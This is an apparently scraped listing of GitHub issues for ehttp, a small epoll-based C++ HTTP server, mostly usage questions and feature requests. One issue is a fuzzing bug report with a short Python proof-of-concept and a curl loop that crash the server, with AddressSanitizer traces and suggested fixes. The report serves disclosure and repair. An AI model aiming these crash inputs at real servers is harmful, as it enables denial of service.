hongliuliao / ehttp Goto Github PK
View Code? Open in Web Editor NEWsimple http server base on epoll
License: Apache License 2.0
simple http server base on epoll
License: Apache License 2.0
@hongliuliao 你好,我又来了,有几个疑问请教你:
1、http_server.add_mapping()方法有3个重载,区别在于第二个参数,有method_handler_ptr、json_handler_ptr、HttpJsonHandler,这几个有什么设计用意吗?
2、有没有方法在add_mapping()的时候加上我们的自定义参数传递?
3、有些静态资源文件比如图片等能不能实现直接访问?
希望不吝赐教,非常感谢!
### 测试环境
Win10 + WSL + Ubuntu16.04 x64 + cmake
gcc (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
g++ (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
cmake version 3.14.5
CMake suite maintained and supported by Kitware (kitware.com/cmake).
### 测试方法
测试两个对象都用了同样的方法,结果如图所示
STEP1:使用TCP客户端(如网络助手)连接服务器;
STEP2:客户端不发如何数据,并且主动断开;
SETP3:问题必现;
### 测试对象1:http_multi_thread_demo.cpp
问题都发生在read_func()的线程任务里面;
Hi!
When executing my fuzz tests I discovered a few bugs at the following locations:
Lines 219 to 223 in 716ff7a
Below are a few examples:
Malformed HTTP Method
GETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGET /
Malformed URL
GET /hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello
I compiled and executed the examples from the instructions with address sanitizer to help debug the exact location of the out-of-bounds-read:
CXXFLAGS += -g -Wall -fsanitize=address
LDFLAGS += -pthread -fsanitize=address
make && make test && ./output/test/hello_server 8080
#!/usr/bin/env python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8080))
sock.send(b"GET"*5000+b" /hello"*5000+b" HTTP/1.1\r\nHost:localhost:8080\r\n\r\n")
response = sock.recv(4096)
sock.close()
$ python3 poc.py
==2308883==ERROR: AddressSanitizer: dynamic-stack-buffer-overflow on address 0x7fdc638f3ce0 at pc 0x7fdc6889109c bp 0x7fdc638f2040 sp 0x7fdc638f1800
READ of size 4097 at 0x7fdc638f3ce0 thread T3
#0 0x7fdc6889109b in printf_common ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:553
#1 0x7fdc6889189a in __interceptor_vprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1738
#2 0x559614bebecd in _log(char const*, __va_list_tag*) src/simple_log.cpp:221
#3 0x559614bec870 in log_debug(char const*, ...) src/simple_log.cpp:290
#4 0x559614bdf2a1 in Request::parse_request(char const*, int) src/sim_parser.cpp:580
#5 0x559614bc75bc in HttpEpollWatcher::on_readable(int&, epoll_event&) src/http_server.cpp:296
#6 0x559614bf59c0 in EpollSocket::handle_readable_event(epoll_event&) src/epoll_socket.cpp:247
#7 0x559614bf5703 in read_func(void*) src/epoll_socket.cpp:230
#8 0x559614beddd9 in Task::run() src/threadpool.cpp:19
#9 0x559614beefa7 in ThreadPool::execute_thread() src/threadpool.cpp:159
#10 0x559614bee10c in ss_start_thread src/threadpool.cpp:48
#11 0x7fdc682a63eb in start_thread nptl/pthread_create.c:444
#12 0x7fdc68326a1b in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Address 0x7fdc638f3ce0 is located in stack of thread T3
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:553 in printf_common
Shadow bytes around the buggy address:
0x7fdc638f3a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7fdc638f3c80: 00 00 00 00 00 00 00 00 00 00 00 00[cb]cb cb cb
0x7fdc638f3d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Thread T3 created by T1 here:
#0 0x7fdc68847c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208
#1 0x559614bee436 in ThreadPool::start_threadpool() src/threadpool.cpp:70
#2 0x559614bf74ba in EpollSocket::init_tp() src/epoll_socket.cpp:417
#3 0x559614bf87b4 in EpollSocket::start_epoll() src/epoll_socket.cpp:514
#4 0x559614bc539e in HttpServer::start_sync() src/http_server.cpp:132
#5 0x559614bc5067 in http_start_routine(void*) src/http_server.cpp:102
#6 0x7fdc682a63eb in start_thread nptl/pthread_create.c:444
Thread T1 created by T0 here:
#0 0x7fdc68847c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208
#1 0x559614bc50a1 in HttpServer::start_async() src/http_server.cpp:107
#2 0x559614bc0d99 in main test/hello_server.cpp:112
#3 0x7fdc682456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
==2308883==ABORTING
A potential fix for this would be to check the size of the format/arg passed to int vprintf ( const char * format, va_list arg );
Lines 228 to 237 in 716ff7a
Similar to above, I compiled and executed the examples from the instructions with address sanitizer to help debug the exact location of the use-after-free bug:
CXXFLAGS += -g -Wall -fsanitize=address
LDFLAGS += -pthread -fsanitize=address
make && make test && ./output/test/issue5_server 1234
After running the script below, wait around ~30-60 seconds and the server will crash.
$ while true; do curl http://localhost:1234/; done
==131898==ERROR: AddressSanitizer: heap-use-after-free on address 0x607001a34440 at pc 0x55999cd1a37f bp 0x7f44178fddd0 sp 0x7f44178fddc8
WRITE of size 4 at 0x607001a34440 thread T2
#0 0x55999cd1a37e in read_func(void*) src/epoll_socket.cpp:234
#1 0x55999cd25201 in Task::run() src/threadpool.cpp:19
#2 0x55999cd263cf in ThreadPool::execute_thread() src/threadpool.cpp:159
#3 0x55999cd25534 in ss_start_thread src/threadpool.cpp:48
#4 0x7f441b0a63eb in start_thread nptl/pthread_create.c:444
#5 0x7f441b126a1b in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
0x607001a34440 is located 64 bytes inside of 72-byte region [0x607001a34400,0x607001a34448)
freed by thread T3 here:
#0 0x7f441b6da008 in operator delete(void*, unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:164
#1 0x55999cd1dd7c in EpollSocket::close_and_release(epoll_event&) src/epoll_socket.cpp:571
#2 0x55999cd1aa19 in EpollSocket::handle_writeable_event(int&, epoll_event&, EpollSocketWatcher&) src/epoll_socket.cpp:275
#3 0x55999cd189d2 in write_func(void*) src/epoll_socket.cpp:74
#4 0x55999cd25201 in Task::run() src/threadpool.cpp:19
#5 0x55999cd263cf in ThreadPool::execute_thread() src/threadpool.cpp:159
#6 0x55999cd25534 in ss_start_thread src/threadpool.cpp:48
#7 0x7f441b0a63eb in start_thread nptl/pthread_create.c:444
previously allocated by thread T0 here:
#0 0x7f441b6d9108 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
#1 0x55999cd19c6b in EpollSocket::create_client(int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) src/epoll_socket.cpp:191
#2 0x55999cd19eed in EpollSocket::handle_accept_event(int&, epoll_event&, EpollSocketWatcher&) src/epoll_socket.cpp:209
#3 0x55999cd1bc20 in EpollSocket::handle_event(epoll_event&) src/epoll_socket.cpp:386
#4 0x55999cd1d0cc in EpollSocket::start_event_loop() src/epoll_socket.cpp:491
#5 0x55999cd1d5c7 in EpollSocket::start_epoll() src/epoll_socket.cpp:526
#6 0x55999ccef9fe in HttpServer::start_sync() src/http_server.cpp:132
#7 0x55999cceb270 in main test/issue5/issue5_server.cpp:78
#8 0x7f441b0456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
Thread T2 created by T0 here:
#0 0x7f441b647c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208
#1 0x55999cd2585e in ThreadPool::start_threadpool() src/threadpool.cpp:70
#2 0x55999cd1c080 in EpollSocket::init_tp() src/epoll_socket.cpp:417
#3 0x55999cd1d37a in EpollSocket::start_epoll() src/epoll_socket.cpp:514
#4 0x55999ccef9fe in HttpServer::start_sync() src/http_server.cpp:132
#5 0x55999cceb270 in main test/issue5/issue5_server.cpp:78
#6 0x7f441b0456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-use-after-free src/epoll_socket.cpp:234 in read_func(void*)
Shadow bytes around the buggy address:
0x607001a34180: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd
0x607001a34200: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd
0x607001a34280: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa
0x607001a34300: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa
0x607001a34380: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
=>0x607001a34400: fd fd fd fd fd fd fd fd[fd]fa fa fa fa fa fd fd
0x607001a34480: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd
0x607001a34500: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd
0x607001a34580: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd
0x607001a34600: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa
0x607001a34680: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==131898==ABORTING
A potential fix for this bug would be to set the pointers to NULL once they are freed. I believe the pointer of interest is the following:
请教:客户端post提交过来的是json字符串,这个服务端怎么获取提交的内容?
g_client_id如果超过上限呢?
int EpollSocket::add_client(EpollContext *ctx) {
pthread_mutex_lock(&_client_lock);
_clients++;
_eclients[ctx->_id] = ctx;
pthread_mutex_unlock(&_client_lock);
return 0;
}
这段代码不涉及到多线程情况,为什么要加锁?
Hi
The current version looks great, but it only compiles on Linux machines, is it possible to add Mac OSX support which use Kqueue?
Thanks
ajax跨域,需要支持除了 GET,POST 之外的 option 支持
请问如果支持 option 请求呢,不需要返回任何实际数据,只要能返回 200 的httpstatus 状态码即可
处理写的为什么不用多线程?
if (req->_last_was_value) {
req->_header_fields.push_back(field);
req->_last_was_value = false;
} else {
req->_header_fields[req->_header_fields.size() - 1] += field;
}
正常都是走第一个分支吧?
API封装得很漂亮!加油!
看到这个库,很简洁,感觉有抛弃nodejs的冲动了。
希望继续加油,完善!
如果能支持多平台,支持mingw编译就更好了。
In make and test, It says
$ make && make test && ./output/bin/hello_server 3456
$ curl "localhost:3456/hello"
But, all exec files are made at ./output/test/
You may need to change Build && Test in README.md
个人基于自身IOT应用场景提出的建议。
增加 tcp_server ,使得:
需要加上.PHONY: all test clean
multipart/form-data
input type="file" name="files" size="50"/
多个表单
input type="text" name="fileId" size="50"/
多表单提交时,解析出错
Hi Liao,
When I initialize the server and I go to http://localhost:3456/hello(or whatever), debug log shows like below.
DEBUG src/epoll_socket.cpp(178): server: got connection from 127.0.0.1
DEBUG src/epoll_socket.cpp(211): get accept socket which listen fd:6, conn_sock_fd:8
DEBUG src/epoll_socket.cpp(444): find idle client but is reading, skip it!
DEBUG src/epoll_socket.cpp(178): server: got connection from 127.0.0.1
DEBUG src/epoll_socket.cpp(211): get accept socket which listen fd:6, conn_sock_fd:9
DEBUG src/epoll_socket.cpp(444): find idle client but is reading, skip it!
why the server accepts two connections although I just go into the website only once?
Hi,
Although Makefile is fine a project with minimal dependency CMake is nice to have feature.
Do you have plan to add CMake support.
Thanks
客户端上传完文件后,服务端如何返回文件下载地址呢?
int ret = socket_handler.on_writeable(*epoll_context);
if(ret == WRITE_CONN_CLOSE) {
return close_and_release(event);
}
void* ThreadPool::execute_thread() {
Task *task;
while(true) {
...............................................................................................
m_task_mutex.lock();
while ((m_pool_state != STOPPED) && (m_tasks.empty())) {
m_task_cond_var.wait(m_task_mutex.get_mutex_ptr());
}
.....................................................................................................
task = m_tasks.front();
m_tasks.pop_front();
m_task_mutex.unlock();
// execute the task
.................................................................................
}
}
互斥区域就一个线程能进来,怎么会出现虚假唤醒?如果while改成if也没问题吧?
参考ehttp,实现了一个类似的跨平台的http api服务,其它平台分别采用iocp、select、poll、kqueue,实现了跨平台,支持json、form-data格式,集成了OpenSSL支持https,集成了nghttp2支持HTTP2,项目地址见https://github.com/ithewei/libhv.git
你好,这边我看了下,似乎没找到获取客户端IP的方法。
@hongliuliao 非常感谢开源这么好的项目,我把编译成功后的ehttp给其他项目使用时cmake编译一直卡在下面(编译环境ubuntu16.04,Threads库在其他项目中运行正常):
/home/suneliw/Downloads/ehttp/output/lib/libehttp.a(http_server.o): In function HttpServer::start_async()': /home/suneliw/Downloads/ehttp/src/http_server.cpp:107: undefined reference to
pthread_create'
cmake文件如下:
cmake_minimum_required (VERSION 2.8)
project(httpserver LANGUAGES CXX)
set(CMAKE_VERBOSE_MAKEFILE ON)
set(EHTTP_PATH "/home/suneliw/Downloads/ehttp")
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -g -Wall")
find_package(Threads)
include_directories(${EHTTP_PATH}/output/include)
include_directories(${EHTTP_PATH}/deps/http-parser)
link_libraries(${CMAKE_THREAD_LIBS_INIT})
link_libraries(${EHTTP_PATH}/output/lib/libehttp.a)
link_libraries(${EHTTP_PATH}/deps/http-parser/libhttp_parser.a)
link_libraries(${EHTTP_PATH}/deps/json-cpp/output/lib/libjson_libmt.a)
link_libraries(${EHTTP_PATH}/deps/multipart-parser-c/multipart_parser.o)
add_executable(httpserver src/httpserver.cpp)
cmake结果如下:
-- Check for working CXX compiler: /usr/bin/g++-7
-- Check for working CXX compiler: /usr/bin/g++-7 -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
Build type: Release
-- Looking for C++ include pthread.h
-- Looking for C++ include pthread.h - found
-- Looking for pthread_create
-- Looking for pthread_create - not found
-- Looking for pthread_create in pthreads
-- Looking for pthread_create in pthreads - not found
-- Looking for pthread_create in pthread
-- Looking for pthread_create in pthread - found
-- Found Threads: TRUE
-- Configuring done
-- Generating done
请问会是哪里的问题呢?
can i build it on mingw(windows)?
I build it but error!
Lines 18 to 26 in a24f2db
顺序写反了吧,应该先判断空串,再进行下标操作
int ThreadPool::destroy_threadpool() {
................................................................
m_task_cond_var.broadcast();
int ret = -1;
for (int i = 0; i < m_pool_size; i++) {
void* result;
ret = pthread_join(m_threads[i], &result);
............................................................................
m_task_cond_var.broadcast();
}
................................................................
return m_tasks.size();
}
销毁线程池为何重复发送broadcast?
刚刚试了下,服务端好像没有默认设置超时时间?那么对方大量建立长连接服务不就没法工作了?
目前大部分通讯都必需HTTPS通讯。不知能否增加HTTPS的支持。
如添加openSSL
你好!
本来打算使用这个库的,看封装的例程很简单方便。不过,简单阅读了一下源码,发现实现了日志系统。刚好我也自己实现了一个功能和代码规模和你相当的日志系统。于是对比了一下,发现有两个严重的问题,提出来给你参考一下。
1、localtime函数非线程安全的,多线程并发会crash的,标准说法是:线程不可重入;换成localtime_r函数可以解决;
2、日志api是需要支持多线程大并发的,这里使用互斥锁会严重降低性能的,所以并发测试关闭了日志,提升了性能也掩盖了问题1;建议你可以绕过这个同步问题,使用一个本地udp socket就可以解决的;sendto函数是多线程安全的;recvfrom和write函数一个线程即可,都不用加锁,并发量大了最多也就是丢日志报文。(当然,你也可以改进成不丢日志的可靠通信。)
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.